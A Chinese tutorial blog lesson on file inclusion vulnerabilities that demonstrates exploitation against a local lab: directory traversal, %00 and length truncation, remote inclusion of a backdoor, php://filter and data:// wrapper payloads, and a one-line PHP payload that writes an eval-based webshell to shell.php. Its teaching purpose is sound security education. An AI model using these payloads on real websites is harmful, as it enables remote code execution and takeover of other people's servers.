文件操作之文件包含全解(31)

news/2024/11/23 2:41:25/

文件包含的作用就是将这个文件包含进去之后,会调用指定文件的代码。先将文件包含才能执行里面的一些相关代码,比如所想进行文件的链接,数据库的查询,就可以先包含一个数据库的配置文件, 再去链接的话就享有配置文件的一些配置信息,就不需要在进行相关的操作。

它可以把一些功能性代码写到一个文件里面,然后用另外一个文件去包含这个文件,这样子就不再重复书写那个包含文件里面的代码。

举四个脚本语句,asp,php,jsp,aspx等

<!==#include file=”1.asp”-->    就相当于包含了1.asp

<!==#include file=”top.aspx”-->   这个aspx运行,包含了一个top.aspx文件

<c:import url=”http://thief.one/1.jsp”>    包含一个远程地址文件jsp

<% include file=”head.jsp”%>  第二种写法,包含一个本地地址文件 jsp

<jsp:include page=”head.jsp”/>  第三种jsp写法

<?php include(‘test.php’)?>    php的写法

包含文件的常见写法

搭建一个靶场演示

声明一个变量filenam=get接收到filename值。然后include包含变量filename,

在网站当前目录是有一个1.txt文件的

 

 现在通过地址去访问一下include.php这个文件,

 然而phpinfo并没有在代码中体现,而是写在1.txt里面的,然而直接访问1.txt

 就只会显示里面的内容,并不会当作代码去执行。而在包含文件里面不管你是asp还是txt,都会把里面的内容当作php代码去执行。网站是php就以php代码去执行,asp就以asp代码去执行。

条件就是一个可控变量,一个漏洞函数,(include包含函数)

#检测

第一种是白盒,有代码之后我们去代码里面分析(代码审计)

第二种是黑盒,没有漏洞,就利用工具去扫描,去看公开的漏洞有没有,利用这个功能点和参数值去判定,就是看后面的参数值的值街上的是不是一个文件或者类似文件名字的命名,来判定给的参数值是不是一个文件,功能点就是去思考这个网站的功能是干嘛用的通过这个功能去思考会涉及到那些函数,有没有文件包含。

这个是检测的一个大概思路。

#类型

类型分为两种一种是本地包含,就是包含本地的文件。一种是远程包含,就是能包含互联网所能访问的文件,都能包含。

远程包含危害更大,因为可以自己去写一个文件,去做一个网站,让包含漏洞的文件指向它,然而这个东西是可以自定义,所以就可以写后门代码之类的东西。

包含都会涉及到应该叫无限制一个叫有限制,无限制就是这个包含漏洞没有限制就直接用,有限制就可能有一些一些干扰,需要我们用特定的方法去绕过。

#利用

我们在利用漏洞的时候都有各种各样的要求,我们能不能进行读取里面的文件或者执行相关的命令,这时我们可以进行一些伪造协议,这些伪造协议也可以进行上面有限制的绕过,利用伪造协议去绕过一些常见的waf软件也是可以的。利用就属于拓展应用,其他协议的结合。

#说一下本地包含,远程包含

本地包含要跨目录,比如想去包含d盘下面的一个文件

 就要往上跨两级,../是上一级的意思,所以我们要写两个,最终网站就是

127.0.0.1/xx.php?filename=../../qingshu.txt

成功包含到了w.txt文件,并且执行了里面的语句

 现在来看一下有限制的源码

 这个有限制是他指向的文件后缀为.html,再去指向刚刚指向过的1.txt文件

 这时候就发现网站不一样了,现在他包含的文件的就相当于包含的1.txt.html,由于当前目录没有这个文件,所以执行失败,因为他在文件后面强制加了一个.html,这种就是常规额的验证方式,可以用以下两种方式去绕过,

%00截断,不过要是php环境,而且php版本<5.3.4,小于5.3.4版本呢

这种不太推荐但是很方便,只需要在后面加上个%00,刚刚作者是版本大于5.3.4访问还是刚刚效果切换到了小于5.3.4的版本就正常访问了。

 第二种方法,长度截断

条件:Windows系统的话点号需要长度大于256位,linux系统的话点号长度需要大于4096位,大于这个长度就直接截断了,垃圾数据填充的方法思路差不多。

操作系统是目标服务器操作系统

就这样填充垃圾数据。

#远程包含

其实在任何脚本里面都有这么一个简单的设置,来确定这个漏洞会不会成为远程包含。

第一个是代码里面有限制只能包含本地文件就不会远程包含,如果说代码里面没有,并且开发平台上面设置也没有设置禁止包含远程文件,就可能产生远程包含漏洞。

在php里面就有一个开关,allow_url_include

这个是可以通过查看phpinfo查到的和开关状态

 如果这里是开启状态的话就允许远程地址的请求,就支持远程包含文件,这里把源码恢复到没有拦截的时候,然后这里老师自己博客里面有一个有远程代码的文件,

 远程包含一下老师的文件的时候,输出来了,还显示出来了phpinfo的效果。

 而包含的地址是一个远程地址,把这个远程文件去访问了,并且调用执行了。

如果这个远程文件是一个后门代码,现在把那个文件写为一个远程代码,

 然后再去访问一下网站,现在代码已经不显示了,但代码已经执行了

 我们现在就可以用菜刀去连接这个后门

直接连接上

 然后现在把源代码换回来那个有过滤的,然后在去访问网址就不行了,这个过滤也很简单

末尾加?  加%23  加%20   都可以执行

 #各种协议流玩法

比赛题目考到的话基本上都会碰到这个伪造协议

 我们伪造的时候要先知道这个脚本代码支不支持这个协议,curl不是

协议是分支持不支持的对好的就是支持的协议,和版本限制,在那个脚本代码下可以伪造那个协议。

这个是php里面的写法,测试的版本,部分功能的改观情况,off/on的就是开不开都可以,

选用那种伪造协议要先确定当前网站的脚本代码是否支持,可能还有些支持下面还需要条件

php伪协议链接:https://www.cnblogs.com/endust/p/11804767.html  (很全)

讲几个比较重点的

http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt 

通过这个代码就可以读取文件里面的内容(链接里面参考)

 base64加密是为了避免有一些文件内容乱码,拿去解密就好了。

换一个执行代码效果,就去链接里面找就好了,那里也有说要换成post提交方式, 

 

 

 写入一句话后门代码

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

这个语句就相当与写一个shell.php文件,然后将后门的一句写入到那个文件里面去,写入之后就可以直接连接这个shell.php代码试试,

file协议在上面那个表里面是都支持的,

还要data协议,图片上没有。好像php特,

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

 里面的内容执行代码可以由你自定义,比如这里我想输出个地东西

 这就是我们说的具体协议的玩法,如果是别的脚本代码直接去网上搜脚本代码的为协议就好。


http://www.ppmy.cn/news/219880.html

相关文章

Dell戴尔灵越笔记本电脑Inspiron 15 3511原装出厂Windows11系统恢复原厂OEM系统

Dell戴尔灵越笔记本电脑Inspiron 15 3511原装出厂Windows11系统恢复原厂OEM系统 系统自带所有驱动、办公软件、MyDell等预装软件 链接&#xff1a;https://pan.baidu.com/s/1HSS_e06q_3DmfUWTPQ3K_w?pwdbhpt 提取码&#xff1a;bhpt

戴尔灵越7000笔记本开机吱吱响,解决办法

买的电脑是戴尔灵越7000系列&#xff0c;开机以后噪音很大&#xff0c;一开始以为是风扇声音&#xff0c;时间长了&#xff0c;噪音太大&#xff0c;吱吱作响…… 虽然不是处女座&#xff0c;也受不了了 so 就写下我的解决方案&#xff0c;仅供参考&#xff1a; 1&#xff0…

戴尔灵越7590电脑风扇起飞,噪音特大

我是19年底买的&#xff0c;买来4个月就突然开始响了&#xff0c;百度也试过网上很多办法都不行&#xff0c;最后还是京东买了风扇&#xff0c;把两个风扇都换了就好了&#xff0c;其实主要是右风扇的问题&#xff0c;可以换一个&#xff0c;这个系列就是风扇问题&#xff0c;换…

戴尔灵越怎么样?带你看看12代酷睿笔记本灵越13 Pro

马上要放五一小长假了&#xff0c;我已经和闺蜜约好前往景点拍一组美美的照片了。考虑到照片拍摄出来需要进行大量的修图工作&#xff0c;所以我提前淘汰了家里的旧笔记本&#xff0c;换了一台新的灵越13 Pro。在收到货之前&#xff0c;我也不知道戴尔灵越怎么样&#xff0c;经…

戴尔灵越 3910 2022款评测

戴尔新款灵越 3910 台式机&#xff0c;搭载了英特尔最新的发布的 i3-12100&#xff0c;相比老款 i3-10105 升级到了最新的架构和 10nm 工艺。戴尔灵越 3910 2022款更多使用感受和评价&#xff1a;http://www.adiannao.cn/du 戴尔新款灵越 3910 台式机可搭载全新 B660 主板&…

戴尔灵越5525机型拆机详细说明

曾经不懂世事的我&#xff0c;傻傻地被别人坑着买了一台CPU是AMD的笔记本电脑&#xff0c;那就是戴尔灵越的5525&#xff0c;这也是我刚开始接触数码产品时买下的教训。 现在电脑两年没除过尘&#xff0c;很早就有拆机的想法了&#xff0c;却一直没找到对应型号的教程&#xf…

戴尔灵越13Pro 2023款 评测

戴尔灵越 13 Pro 2023 款正式发售&#xff0c;新机配备了 13.3 英寸 2.5K&#xff08;2560*1600&#xff09;16:10 全面屏&#xff0c;支持 100% sRGB 色域、DC 调光&#xff0c;亮度达 300 尼特&#xff0c;配有物理防窥 FHD 摄像头。 戴尔灵越13Pro 2023款更多使用感受和评价…

戴尔灵越7591添加硬盘SSD的问题

2021年618打算添加一块儿硬盘&#xff0c;刚开始查询官网和咨询客服都说的是&#xff1a; 出厂配备一块M.2 PCIe 的ssd 自己添加的话只有SATA3口可以选择 到货后根据实际情况到货后拆机安装完发现机器上除了SATA3接口的硬盘位&#xff0c;另一边也有一个M2接口的硬盘位&#xf…